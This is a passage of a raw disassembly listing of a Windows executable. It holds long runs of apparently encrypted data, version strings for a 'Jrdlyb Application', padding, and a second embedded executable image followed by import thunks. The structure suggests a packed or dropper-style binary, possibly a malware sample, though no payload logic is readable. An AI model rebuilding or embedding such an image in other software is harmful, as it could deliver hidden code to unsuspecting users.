0D975B5A9h, 668864F5h, 0D2DF48D2h, 0AD86FD1Ch dd 1FFE83C5h, 0AE26B791h, 0B87BFE6Bh, 0C134152Dh, 0CE16EC63h dd 0D67A87AEh, 71DFFA23h, 7852B506h, 4EFD58D0h, 7221A950h dd 0DA106053h, 9E255848h, 2FD71A18h, 69D8A1B0h, 366F1E0h dd 2F7428ABh, 0F1DB855Bh, 0CF41E2FEh, 0AFCBE2EEh, 34401AC7h dd 82474B93h, 376EF180h, 8B08C338h, 8D7C7E32h, 23D23FCAh dd 0C76A664Fh, 7275E729h, 7D5B6220h, 0BCF824CAh, 64F1A2A6h dd 9863A830h, 0A241441Dh, 0C1DC842Dh, 4C380903h, 6CFC879Ah dd 4D815570h, 0C34AEA9Eh, 0A234BAC6h, 1F7711B6h, 8C1C2C3Fh dd 0EE319272h, 848C74C2h, 0BEBF08C3h, 0E7A6B3A4h, 0D3AFE182h dd 9C851127h, 173AD1ACh, 38747F87h, 4B7FAECFh, 8D9CABC8h dd 7F5E505Dh, 0E8F78274h, 1D1FA14Fh, 679B6668h, 0FB47148Ch dd 0C3639665h, 80333EAEh, 3218850Ah, 0AD1BAC01h, 76AAB3D7h dd 5EC2E8CEh, 19EEE092h, 0ADFFFC19h, 4A049721h, 914D5F6Ch dd 6CD35EC8h, 0BD3EBEB4h, 0C3439B73h, 36972741h, 268D53FAh dd 5DE6A8CAh, 298DDE53h, 5AB318D3h, 96A0B01Eh, 0AFD7F244h dd 0BC227524h, 6FD84527h, 7DBA24E0h, 18E71A33h, 0A6F8FED8h dd 820B3D0Bh, 87ABE2C6h, 29BCF0F3h, 78B4157Fh, 7AFC18EDh dd 86D5A515h, 56ACCBADh, 0A39E3145h, 1663C08h, 0E1E256F8h dd 0D5EA92Ah, 0D8F871DFh, 0E0C1AAF7h, 4213CF67h, 264F7124h dd 0B85DAC8Fh, 0EC667ACDh, 1599D1A1h, 0ED92F394h, 6A0C3E8Eh dd 4456BCCCh, 42DB5ECBh, 80A0F7A1h, 1F0B601Fh, 0CBB99025h dd 941D303Ch, 9F802D9Bh, 0C9C7DF73h, 31CEB24h, 2D9CADEEh dd 91FE5E96h, 3F32705Ch, 7696F17Ah, 3D5B0B24h, 4F3C8532h dd 38807BE2h, 3063E4B0h, 7EA53E3Ch, 0B56C02ADh, 8DA09857h dd 335BD7DBh, 7CD30D20h, 0A15295D5h, 8A945BC5h, 10FC5C06h dd 699D3642h, 0B40F9897h, 0C7E5FADAh, 60ECD124h, 0F13798C8h dd 6A5BBEEBh, 3FC1557Fh, 0F811B513h, 0DB83AAFEh, 0EE9F50DFh dd 87295538h, 0FFA68312h, 45F58D96h, 0F4F5FB3Eh, 42C45CA7h dd 8FD0B2A8h, 7DBA24E0h, 18E71A33h, 0A6F8FED8h, 820B3D0Bh dd 10A5305h, 2D871E30h, 78B4157Fh, 7AFC18EDh, 0D3801B6Fh dd 0C9A03FF1h, 97B836D7h, 0DAB0676Eh, 0E1E256F8h, 0D5EA92Ah dd 0D7AA0E1Bh, 15753E5Dh, 4213CF67h, 264F7124h, 0BF3FC63Bh dd 0E80E229Dh, 388D8ADCh, 6C309C47h, 6A0C3E8Eh, 4456BCCCh dd 197C0630h, 0BBBF5107h, 1F0B601Fh, 0CBB99025h, 0BF6FABB4h dd 635BBC94h, 0F6508282h, 63D20CF5h, 2D9CADEEh, 91FE5E96h dd 3F32705Ch, 7696F17Ah, 3D5B0B24h, 4F3C8532h, 38807BE2h dd 3063E4B0h, 7EA53E3Ch, 0B56C02ADh, 8DA09857h, 335BD7DBh dd 7CD30D20h, 0A15295D5h, 8A945BC5h, 10FC5C06h, 699D3642h dd 0B40F9897h, 0C7E5FADAh, 60ECD124h, 0F13798C8h, 6A5BBEEBh dd 3FC1557Fh, 0F811B513h, 0DB83AAFEh, 0EE9F50DFh, 87295538h dd 0FFA68312h, 45F58D96h, 0F4F5FB3Eh, 42C45CA7h, 8FD0B2A8h dd 7DBA24E0h, 18E71A33h, 7C2CF835h, 6CE88FA9h, 0D1B08BE0h dd 0F9AC32BDh, 0AFD09CEFh, 0B1081D4h, 28DA9109h, 0CD2F4D99h dd 6CACADC2h, 0C568B319h, 95F57C4h, 0B0017763h, 0E5226F8Eh dd 0FBDE1745h, 0DD74476h, 0C7A4DCD6h, 6D7DCCBh, 813588h dd 65AE674Dh, 30276F90h dd 98F82380h, 67453C76h, 0A4303497h, 2A52E39Ch, 438B2AC8h dd 0FD05B846h, 41799CC1h, 0B19B48E8h, 0FE35148h, 24862752h dd 2C9C8D53h, 713CF8E2h, 6C661822h, 20336422h, 64D792E5h dd 1F7C84D0h, 0D7A5A022h, 56C2AE74h, 0C53961D6h, 0D81312B4h dd 7356D490h, 4DE9EDE2h, 99FBFD8Ah, 0D885D6A6h, 0CBB85543h dd 0B31195EAh, 0D72AAB4Ah, 0A3CF61B8h, 0DC45D6EFh, 0D77D70DDh dd 0B4BF91C5h, 410939Ch, 21497E6Ch, 0E8ACB47Ah, 0CC395052h dd 0EF465F07h, 0C0D8F882h, 3ED0A9CCh, 907B072Ah, 5DDA5D68h dd 0BC0D8AA8h, 0E51F7D13h, 6F669D4Dh, 0C0D04E8Dh, 65F50240h dd 0F4D4F1B3h, 0EB421BD9h, 3EBC8EE5h, 0ECA9BEDBh, 536A1135h dd 7065C03Ch, 0D95DBC23h, 159F24AFh, 6194C9C5h, 1B09ED3Ah dd 910694B7h, 0A6F80C51h, 322FC294h, 35A0010Eh, 21E39C5Dh dd 4991A017h, 0A7FD048Ch, 7365E0C5h, 20A86DCEh, 0A85FDC18h dd 51539F0Ch, 0A6E78B23h, 1AD104CFh, 0DD8FE4C9h, 0DE19405Eh dd 5EC51154h, 10969513h, 119DF61Eh, 2DB54680h, 0B7DD3FCAh dd 0EF75182Ch, 5A36D0ACh, 8A2C3F8Dh, 0FD95D232h, 4BE15EA1h dd 0DF7FDAD4h, 2298711Eh, 1521DEh, 27EE6B4Ah, 0C9E0DB41h dd 0E430CB21h, 2FDCF8CDh, 80788555h, 733C0BA6h, 2C458C0Ah dd 53337A8h, 257F0C02h, 1893D356h, 0D03593CBh, 65886EC9h dd 5EE66AFBh, 0BFF3922Dh, 0BA964FBAh, 78301851h, 9E1E3776h dd 2BEF6041h, 0D2AC9B22h, 4C547268h, 0E76719D8h, 0BE120CABh dd 343CF9FCh, 0C221C4h, 718A0EB9h, 809AA8BBh, 470CD355h dd 82155F60h, 0B0DD3256h, 172767B2h, 88F37B8Bh, 0E6E3735Bh dd 0CEF3DB87h, 3558CFD0h, 0D4B69A01h, 8FDA5C43h, 0AE7CA89Eh dd 0DF21A9Eh, 2309DC9h, 638FEA67h, 0F2CA9395h, 0ABC2C9E4h dd 0BD1D6C57h, 7B461340h, 61C6369Ah, 0D03FDA4h, 23890A43h dd 2FB720ECh, 6C49F36Bh, 0A55140Dh, 0FF20D62Ah, 2E79C5FDh dd 9DB43AFFh, 0F2931EBDh, 4418EE8h, 0C8A22D26h, 0E5665F66h dd 9B6414B3h, 9BA2A559h, 0A3E6933Dh, 541CFBC1h, 24A01FDBh dd 0A95013A3h, 1A5BA4FBh, 0B63C2FB4h, 715CCDF9h, 689F8082h dd 0FE4F494Fh, 2DD04D9Dh, 7CC95B21h, 5A1F88A4h, 2A2609A3h dd 0B0ACE1E6h, 0F8A601D0h, 8F0A90Fh, 0A14D04FFh, 5B278C3h dd 0B566C87Fh, 0FBA3CB1Eh, 731B8BBh, 28A5FE8Fh, 48A529D9h dd 66D98D8Eh, 0A5CA95F0h, 6F5924B3h, 0E48DADF4h, 0DC2A3424h dd 0D2F92F9Ch, 0D09F5EA5h, 0D0B5AFB3h, 0A3AF769Ch, 5FD1385Ah dd 0F756A678h, 85B016BBh, 344E2214h, 6FF67603h, 42F97568h dd 0EA6DFDB2h, 36509AB6h, 4B59012Fh, 1DEF392Bh, 5AD1A19Fh dd 0F2FE74DFh, 0FBF0DDCCh, 78AB309Fh, 3EAE31FCh, 6F234F76h dd 3B7BBBA0h, 15482880h, 113E5DC3h, 264E2861h, 68B567B1h dd 7DFF9D6h, 6CF4E748h, 1A0BA9ACh, 0E0AE6915h, 5A8BB702h dd 64D3E45Eh, 5BC6E21Dh, 4586080Ah, 70F35687h, 5D6B67Fh dd 22F7D7h, 0D94FD348h, 0D5E203BFh, 0FA30190Ch, 76D356Dh dd 8BC8182Eh, 5A10CAE3h, 274551Ch, 2F5FED7Dh, 9FE4747Bh dd 7310549h, 0A0E61B52h, 169EFE26h, 0E6EA2FF6h, 0CC7108BEh dd 6AAF7E2Bh, 1D0FD12Ch, 0BC46684Ch, 402E5638h, 216D93DCh dd 0F1FF6276h, 3EE5F0CEh, 0E2C004EDh, 87295538h, 0FFA68312h dd 45F58D96h, 0F4F5FB3Eh, 42C45CA7h, 8FD0B2A8h, 7DBA24E0h dd 18E71A33h, 0A6F8FED8h, 820B3D0Bh, 10A5305h, 2D871E30h dd 78B4157Fh, 7AFC18EDh, 0D3801B6Fh, 0C9A03FF1h, 97B836D7h dd 0DAB0676Eh, 0E1E256F8h, 0D5EA92Ah, 0D7AA0E1Bh, 15753E5Dh dd 0C88D7DFAh, 2FAD99D7h, 21338A4Bh, 428314B0h, 0E2CA9611h dd 1E8F4AFCh, 5B019F36h, 912D9119h, 859CF8ABh, 0B1A2E343h dd 0AF052025h, 713FD9DEh, 0A0274AD6h, 654F1128h, 46AA2BD4h dd 0F45E2C60h, 7B2EFEC2h, 60D83AE2h, 16F7538Ah, 1F1B7219h dd 432CB3EDh, 5156467Dh, 38807BE2h, 3063E4B0h, 7EA53E3Ch dd 0B56C02ADh, 8DA09857h, 335BD7DBh, 7CD30D20h, 0A15295D5h dd 8A945BC5h, 10FC5C06h, 699D3642h, 0B40F9897h, 0C7E5FADAh dd 60ECD124h, 0F13798C8h, 6A5BBEEBh, 3FC1557Fh, 0F811B513h dd 0DB83AAFEh, 0EE9F50DFh, 87295538h, 0FFA68312h, 45F58D96h dd 0F4F5FB3Eh, 42C45CA7h, 8FD0B2A8h, 7DBA24E0h, 18E71A33h dd 0A6F8FED8h, 820B3D0Bh, 10A5305h, 2D871E30h, 78B4157Fh dd 7AFC18EDh, 0D3801B6Fh, 0C9A03FF1h, 97B836D7h, 0DAB0676Eh dd 0E1E256F8h, 0D5EA92Ah, 0D7AA0E1Bh, 15753E5Dh, 4213CF67h dd 264F7124h, 0BF3FC63Bh, 0E80E229Dh, 388D8ADCh, 6C309C47h dd 6A0C3E8Eh, 4456BCCCh, 197C0630h, 0BBBF5107h, 1F0B601Fh dd 0CBB99025h, 0BF6FABB4h, 635BBC94h, 0F6508282h, 63D20CF5h dd 2D9CADEEh, 91FE5E96h, 3F32705Ch, 7696F17Ah, 3D5B0B24h dd 4F3C8532h, 38807BE2h, 3063E4B0h, 7EA53E3Ch, 0B56C02ADh dd 8DA09857h, 335BD7DBh, 7CD30D20h, 0A15295D5h, 8A945BC5h dd 10FC5C06h, 699D3642h, 0B40F9897h, 0C7E5FADAh, 60ECD124h dd 0F13798C8h, 6A5BBEEBh, 3FC1557Fh, 0F811B513h, 0DB83AAFEh dd 0EE9F50DFh, 87295538h, 0FFA68312h, 45F58D96h, 0F4F5FB3Eh dd 42C45CA7h, 8FD0B2A8h, 7DBA24E0h, 18E71A33h, 0A6F8FED8h dd 820B3D0Bh, 10A5305h, 2D871E30h, 78B4157Fh, 7AFC18EDh dd 0D3801B6Fh, 0C9A03FF1h, 97B836D7h, 0DAB0676Eh, 0E1E256F8h dd 0D5EA92Ah, 0D7AA0E1Bh, 15753E5Dh, 4213CF67h, 264F7124h dd 0BF3FC63Bh, 0E80E229Dh, 388D8ADCh, 6C309C47h, 6A0C3E8Eh dd 4456BCCCh, 197C0630h, 0BBBF5107h, 1F0B601Fh, 0CBB99025h dd 0BF6FABB4h, 635BBC94h, 0F6508282h, 63D20CF5h, 2D9CADEEh dd 91FE5E96h, 3F32705Ch, 7696F17Ah, 3D5B0B24h, 4F3C8532h dd 38807BE2h, 3063E4B0h, 0EA462E78h, 9A911E36h, 5538B749h dd 0B42DCE1Fh, 4C6FC879h, 9A384C32h, 0AEC32A1Ah, 0C93809F2h dd 0D0F9A159h, 96519B18h, 0C3BE1AF3h, 0A468B1Dh, 5F21CA8Ah dd 0C39A787Ah, 3FC1557Fh, 0F811B513h, 0DB83AAFEh, 0EE9F50DFh dd 0CCEF03B6h, 807E3681h, 9657183Bh, 32DBEE03h, 0E8F25908h dd 997EAFFFh, 3B5689C7h, 0DF0BFEADh, 602CABCh, 9F829CE2h dd 658394CCh, 0B81998AEh, 0F800245Bh, 935D0CD6h, 0A39A5F03h dd 750B6524h, 0A8B42615h, 0FAA709F5h, 0E1E256F8h, 0D5EA92Ah dd 0D7AA0E1Bh, 15753E5Dh, 4213CF67h, 264F7124h, 0BF3FC63Bh dd 0E80E229Dh, 388D8ADCh, 6C309C47h, 6A0C3E8Eh, 4456BCCCh dd 197C0630h, 0BBBF5107h, 1F0B601Fh, 0CBB99025h, 0BF6FABB4h dd 635BBC94h, 0F6508282h, 63D20CF5h, 0FE884558h, 26C3D986h dd 97EFC822h, 2EAF559Bh, 0A0DD4750h, 0C5CEC729h, 6514C4A8h dd 6E83161Dh, 12EEB93Fh, 6B33DD4Dh, 0D430DCF2h, 1D3AE217h dd 5DEFDD4Ah, 857085E0h, 293AAC34h, 735C8271h, 926281B1h dd 0DE4DB333h, 78C6390Fh, 0E92A63ADh, 186D5D21h, 99C56F26h dd 0ABDDEE50h, 245D52D0h, 363BD10Ah, 1549A2B2h, 5FEEE431h dd 8A659348h, 1CEEEBBh, 0F874F7BFh, 8121B9F4h, 5D80BE89h dd 0BC53F13Fh, 14A0C8A5h, 0AE94A48Ah, 32FA6CC6h, 4D97B59h dd 0A36A6564h, 7443848Ah, 0B3005840h, 0FCA8459Ch, 0F278F987h dd 97B836D7h, 0DAB0676Eh, 0E1E256F8h, 0D5EA92Ah, 0D7AA0E1Bh dd 15753E5Dh, 4213CF67h, 264F7124h, 0BF3FC63Bh, 0E80E229Dh dd 388D8ADCh, 6C309C47h dd 6A0C3E8Eh, 4456BCCCh, 197C0630h, 0BBBF5107h, 1F0B601Fh dd 0CBB99025h, 0BF6FABB4h, 635BBC94h, 0F6508282h, 63D20CF5h dd 2D9CADEEh, 91FE5E96h, 3F32705Ch, 7696F17Ah, 0B50DDCBDh dd 2A545287h, 27275BCFh, 6D1F5985h, 0E67AB3C5h, 683D0D36h dd 896E1C60h, 19EA5AAAh, 1FDCEE5Ch, 0C0A46E90h, 9A3652Bh dd 4477C5BDh, 7A92EB8Dh, 1C90B7E2h, 57F60C4Eh, 17187688h dd 0F8C9F15Bh, 0A7AFD5EBh, 411CAA48h, 0C77A326Bh, 0C3254273h dd 1A5ECEF9h, 0E9C7AFBDh, 0EF570137h, 0BA127486h, 0B6D330E0h dd 75AE1E60h, 0E50E2FB1h, 0D2ACE0F9h, 0E94A51BBh, 0C4482025h dd 8731B52h, 3388BBBFh, 589BDABh, 0BC4F9972h, 9F4D7985h dd 7FEAFD0Fh, 0FBB68C2h, 910C0457h, 5EF8C934h, 6DA60BF9h dd 2281A45Dh, 0B0E2474h, 1BF83309h, 638A0C2Bh, 29208ED2h dd 61273FF5h, 66DBE084h, 0B884ACD3h, 427C541Bh, 5C55E941h dd 3A1D6503h, 99B66DB5h, 170963A0h, 0BD3C0F26h, 13782409h dd 51A991F6h, 0C3F65050h, 609C3097h, 0D54FACEEh, 0D243EE26h dd 82720D97h, 0C7B03521h, 5F66D49Bh, 0D3376882h, 35E338FFh dd 290C6C75h, 29B7B33Ah, 98369834h, 24B3935Ah, 0C7D1B78Fh dd 68C58DEAh, 271F9DE6h, 0F51C1239h, 5368B766h, 0B44C144Bh dd 0E5227F09h, 7F924DA5h, 1C2A4F22h, 46AA9FC3h, 0FDC284D8h dd 9FE52F5Eh, 5B26787h, 7478E7A2h, 45A66B87h, 63C9D40Ch dd 7FC21E4h, 11023E4Dh, 0B4165EEFh, 0FC976DD7h, 26D82C87h dd 39AC40E0h, 0A9982CC8h, 0E5C3092h, 0A16D2B4Bh, 30BA3CCFh dd 75E3041Eh, 136F55C4h, 3EEB007Dh, 45324C89h, 93D97FC8h dd 0AE63306Dh, 0DA238E69h, 7ACD0C2Dh, 2B61880Eh, 5DA74525h dd 4CC97B3Dh, 0D391BEDFh, 5C9DD35Fh, 0E37236D0h, 1B3AA77Eh dd 7F64A114h, 94A5D29Ah, 463ECF38h, 9F785906h, 0BB392483h dd 0B67267B8h, 0FB28FEE5h, 1B124DD5h, 9D103F59h, 6861414Ch dd 0B87F7859h, 4F935FEDh, 502C9D65h, 398469h, 5214E95Dh dd 0E2C01823h, 0AAD5510Dh, 14E84651h, 7489AC73h, 90AD7BC9h dd 91BE9933h, 48FCC926h, 87B9D25Dh, 6B01963Dh, 5DE03D28h dd 0B9456F4Ah, 1C21EFD3h, 1237C68Eh, 4091CB07h, 0E80CF7A3h dd 8F2A3B48h, 77748A18h, 0BF2F525Fh, 23EF6376h, 8FEEBB21h dd 686A4CEh, 2AE05AA8h, 2CE8FE82h, 0C9820855h, 807A1D3Dh dd 63AA2483h, 888D5CA2h, 1C2A64D3h, 77525548h, 648F5A90h dd 2DEBE222h, 7804CEDCh, 24F50F6h, 0F43DF08Bh, 36BE492Ah dd 0F262473Ch, 31EF04DEh, 5F8634AAh, 0DADC998Eh, 5BD0B7AFh dd 8D1A04E2h, 5F4FA99Ah, 0AC244D09h, 1440FD19h, 1E48E91Eh dd 0B2826938h, 42AE44E2h, 4ADFAC60h, 0CE77D56h, 8F866F97h dd 83515ECFh, 743909F8h, 0FD908374h, 2732226Eh, 0FCD144CFh dd 975E9B05h, 88418294h, 2391EE14h, 0B7BFE743h, 0CB62A0A9h dd 50D65A86h, 0B895E6D0h, 0C693EFC0h, 49713E1Eh, 0C5D778AFh dd 0E5BCCA0Eh, 2EEAE173h, 14FCB038h, 4FDABB55h, 0ECB10158h dd 8D19558Ah, 9A3E3181h, 20083F71h, 53595866h, 0DE447608h dd 0F9B3CBA1h, 0FE0C91A3h, 0A1B3A4D2h, 9D588215h, 689546E4h dd 0C9A5C6B7h, 0F5152EFFh, 9B0452D3h, 0AD1BE116h, 0AAC93B46h dd 0DA20FEA4h, 7B688E88h, 1B69A6ACh, 0AB9FA4DDh, 9F83CCC8h dd 956FCEB9h, 0EFD6F67Ah, 734FBEB7h, 7F0AABCh, 74E8CC1Dh dd 4B685658h, 47FDCEFFh, 0A7851577h, 780EE683h, 90BEEC29h dd 15DFBA8Eh, 19608D46h, 0F74DC7E6h, 498980CDh, 0C854CB95h dd 2604D697h, 8B7ED5ECh, 45546CDAh, 11854308h, 0BDE02654h dd 59F60FFBh, 0C7E48A51h, 7064242Dh, 419C3D5h, 7F5D0B49h dd 505996Ch, 0BD2EDB1Dh, 7D709698h, 9A812CA9h, 0D24D4F49h dd 7B0C62F1h, 0FD205466h, 537229A2h, 7C83332Ch, 1D1DDA84h dd 72E7BFD6h, 0CADB15E9h, 0DBD8E16Bh, 2888F3DCh, 0AB67CA26h dd 5C92E46Ch, 0FDF8B52Ah, 85739881h, 0A37F9321h, 0C824DD69h dd 9303A91Eh, 972932CAh, 86FEC1DEh, 69D1BC7Ah, 407D754Ah dd 84B2BC39h, 0BBA7140Ch, 35C1FF9Bh, 0D731A53Fh, 68C36134h dd 0E7C14235h, 0ADF63D38h, 9920EF64h, 0FE958196h, 0FBC9B546h dd 19A1DBFh, 48C9C459h, 52A1C01Fh, 0AFBE78BFh, 76F17999h dd 0CCC31C90h, 24EA73B6h, 5A1198B4h, 488897DFh, 0F26EE34Ch dd 7E5DF184h, 0EA32E77Eh, 78D75E8h, 144B1D03h, 27FF44C3h dd 3B209460h, 83431556h, 4AE9A071h, 0B0D80DECh, 2758AF89h dd 3849A4Ch, 152AE0B5h, 0BAEDF4C1h, 9AD8F298h, 0AAE7C929h dd 0D4B7127Dh, 0A884CBD4h, 9EA2CED8h, 0AFB870F3h, 0A418F0FBh dd 0EA30A99Eh, 0BA8E13EAh, 5D5ACA72h, 0EED77EABh, 62C16862h dd 0BE1A7E12h, 0E5CA9D59h, 1E2E896Bh, 0BA212985h, 0DDA71BA0h dd 1820052Dh, 949CE575h, 0BB73F4AAh, 0AC71E5Bh, 875125DDh dd 0EA5C0D38h, 38807BE2h, 3063E4B0h, 7EA53E3Ch, 0B56C02ADh dd 8DA09857h, 335BD7DBh, 7CD30D20h, 0A15295D5h, 8A945BC5h dd 10FC5C06h, 699D3642h, 0B40F9897h, 0C7E5FADAh, 60ECD124h dd 0F13798C8h, 6A5BBEEBh, 3FC1557Fh, 0F811B513h, 0DB83AAFEh dd 0EE9F50DFh, 87295538h, 0FFA68312h, 45F58D96h, 0F4F5FB3Eh dd 42C45CA7h, 8FD0B2A8h, 7DBA24E0h, 18E71A33h, 0A6F8FED8h dd 820B3D0Bh, 10A5305h, 2D871E30h, 78B4157Fh, 7AFC18EDh dd 0D3801B6Fh, 0C9A03FF1h, 97B836D7h, 0DAB0676Eh, 0E1E256F8h dd 0D5EA92Ah, 0D7AA0E1Bh, 15753E5Dh, 4213CF67h, 264F7124h dd 0BF3FC63Bh, 0E80E229Dh, 388D8ADCh, 6C309C47h, 6A0C3E8Eh dd 4456BCCCh, 197C0630h, 0BBBF5107h, 1F0B601Fh, 0CBB99025h dd 0BF6FABB4h, 635BBC94h, 0F6508282h, 63D20CF5h, 2D9CADEEh dd 91FE5E96h, 3F32705Ch, 7696F17Ah, 5E1CF9E4h, 0FA15EA4Eh dd 0EE87647Dh, 905DDCCDh, 0D37BD30Bh, 6070FD76h, 327FD107h dd 9B86EE26h, 15B14082h, 0FBD685F2h, 0A56D3426h, 64D583Bh dd 0B1B6AB5Ah, 0D29D696Ah, 29AF328Dh, 83388170h, 0C1906513h dd 43C6B920h, 93D1D2DFh, 0E56B21E7h, 9F1B3780h, 2AD6D1EFh dd 2768B29Bh, 0B4AA8CBDh, 0DDE92929h, 5AAFE5D6h, 0C4970908h dd 113E410Fh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 136h dup(0) dd 86h, 4Ch dup(0) dd 10000h, 10h, 80000018h, 3 dup(0) dd 1, 80000058h, 80000030h, 3 dup(0) dd 10000h, 409h, 48h, 38080h, 25Eh, 2 dup(0) dd 56000Fh, 5F0053h, 450056h, 530052h, 4F0049h, 5F004Eh dd 4E0049h, 4F0046h, 2 dup(0) dd 34025Eh, 560000h, 5F0053h, 450056h, 530052h, 4F0049h dd 5F004Eh, 4E0049h, 4F0046h, 0 dd 0FEEF04BDh, 10000h, 40002h, 20004h, 40002h, 20004h dd 17h, 0 dd 4, 1, 3 dup(0) dd 202h, 530001h, 720074h, 6E0069h, 460067h, 6C0069h, 490065h dd 66006Eh, 6Fh, 1DEh, 300001h, 310034h, 300039h, 620034h dd 30h, 13004Eh, 460001h, 6C0069h, 440065h, 730065h, 720063h dd 700069h, 690074h, 6E006Fh, 0 aJrdlybApplicat: unicode 0, <Jrdlyb Application>,0 align 4 a6: unicode 0, <6> dw 0Bh dd 460001h, 6C0069h, 560065h, 720065h, 690073h, 6E006Fh dd 0 a4224: unicode 0, <4, 2, 2, 4>,0 align 10h a_: unicode 0, <.> dw 7 dd 490001h, 74006Eh, 720065h, 61006Eh, 4E006Ch, 6D0061h dd 65h, 72004Ah, 6C0064h, 620079h, 0 dd 13004Ah, 4C0001h, 670065h, 6C0061h, 6F0043h, 790070h dd 690072h, 680067h, 74h, 6F0043h, 790070h, 690072h, 680067h dd 200074h, 430028h, 200029h, 300032h, 380030h, 0 dd 0B003Eh, 4F0001h, 690072h, 690067h, 61006Eh, 46006Ch dd 6C0069h, 6E0065h, 6D0061h, 65h, 72004Ah, 6C0064h, 620079h dd 65002Eh, 650078h, 0 dd 130046h, 500001h, 6F0072h, 750064h, 740063h, 61004Eh dd 65006Dh, 0 aJrdlybApplic_0: unicode 0, <Jrdlyb Application>,0 align 4 unicode 0, <:> dw 0Bh dd 500001h, 6F0072h, 750064h, 740063h, 650056h, 730072h dd 6F0069h, 6Eh, 2C0034h, 320020h, 20002Ch, 2C0032h, 340020h dd 49h dup(0) aPaddingxxpaddi db 'PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGP' db 'ADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPA' db 'DDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPAD' db 'DINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADD' db 'INGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDI' db 'NGXXPADDINGPADDINGXXPADDING',0 align 4 dd 1Eh dup(0) db 3 dup(0) dword_3EF67F dd 1B600h align 10h dword_3EF690 dd 0 ; sub_3D10B2+3Dw dword_3EF694 dd 0 ; sub_3D10B2+61w dword_3EF698 dd 3D0000h ; sub_3D1080:loc_3D1095r ... off_3EF69C dd offset dword_400000 ; DATA XREF: sub_3D1050+Dr ; sub_3D1080+Dr ... dd 4258h dup(0) dword_400000 dd 505A4Dh, 2, 0F0004h, 0FFFFh, 0B8h, 0 dd 1A0040h, 8 dup(0) dd 100h, 0E0010BAh, 0CD09B41Fh, 4C01B821h, 909021CDh, 73696854h dd 6F727020h, 6D617267h, 73756D20h, 65622074h, 6E757220h dd 646E7520h, 57207265h, 32336E69h, 37240A0Dh, 22h dup(0) dd 4550h, 8014Ch, 2A425E19h, 2 dup(0) dd 818E00E0h, 1902010Bh, 2600h, 18C00h, 0 dd 3540h, 1000h, 4000h, 400000h, 1000h, 200h, 4, 0 dd 4, 0 dd 22000h, 400h, 0 dd 2, 100000h, 4000h, 100000h, 1000h, 0 dd 10h, 2 dup(0) dd 6000h, 446h, 0A000h, 17CA0h, 4 dup(0) dd 9000h, 30Ch, 6 dup(0) dd 8000h, 18h, 0Ch dup(0) aCode_0 db 'CODE',0 align 10h db 'l%',0 align 4 dd 1000h, 2600h, 400h, 3 dup(0) dd 60000020h, 41544144h, 0 dd 0A0h, 4000h, 200h, 2A00h, 3 dup(0) dd 0C0000040h, 535342h, 0 dd 665h, 5000h, 0 dd 2C00h, 3 dup(0) dd 0C0000000h, 6164692Eh, 6174h, 446h, 6000h, 600h, 2C00h dd 3 dup(0) dd 0C0000040h, 736C742Eh, 0 dd 8, 7000h, 0 dd 3200h, 3 dup(0) dd 0C0000000h, 6164722Eh, 6174h, 18h, 8000h, 200h, 3200h dd 3 dup(0) dd 50000040h, 6C65722Eh, 636Fh, 30Ch, 9000h, 400h, 3400h dd 3 dup(0) dd 50000040h, 7273722Eh, 63h, 17CA0h, 0A000h, 17E00h, 3800h dd 3 dup(0) dd 50000040h, 3 dup(0) dd 0B000h, 0 dd 3A00h, 3 dup(0) dd 50000040h, 328h dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401000 proc near ; CODE XREF: sub_402D70+39p ; sub_402D70+54p jmp dword_4060C8 sub_401000 endp ; --------------------------------------------------------------------------- dw 0C08Bh dword_401008 dd 60C425FFh, 0C08B0040hdword_401010 dd 60C025FFh, 0C08B0040h, 60BC25FFh, 0C08B0040h ; sub_402CA4+Ao ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401020 proc near ; CODE XREF: sub_402D70+3Fp ; sub_402D70+5Ap jmp dword_4060B8 sub_401020 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401028 proc near ; CODE XREF: sub_402DFC+BAp jmp dword_4060B4 sub_401028 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401030 proc near ; CODE XREF: sub_402D70+78p jmp dword_4060D4 sub_401030 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401038 proc near ; CODE XREF: sub_402DFC+85p jmp dword_4060B0 sub_401038 endp ; --------------------------------------------------------------------------- dw 0C08Bh dd 60AC25FFh, 0C08B0040h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401048 proc near ; CODE XREF: .data:0040308Ep jmp dword_4060A8 sub_401048 endp ; --------------------------------------------------------------------------- dw 0C08Bh dd 60A425FFh, 0C08B0040h, 60A025FFh, 0C08B0040h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401060 proc near ; CODE XREF: .data:004026FBp jmp dword_4060E4 sub_401060 endp ; 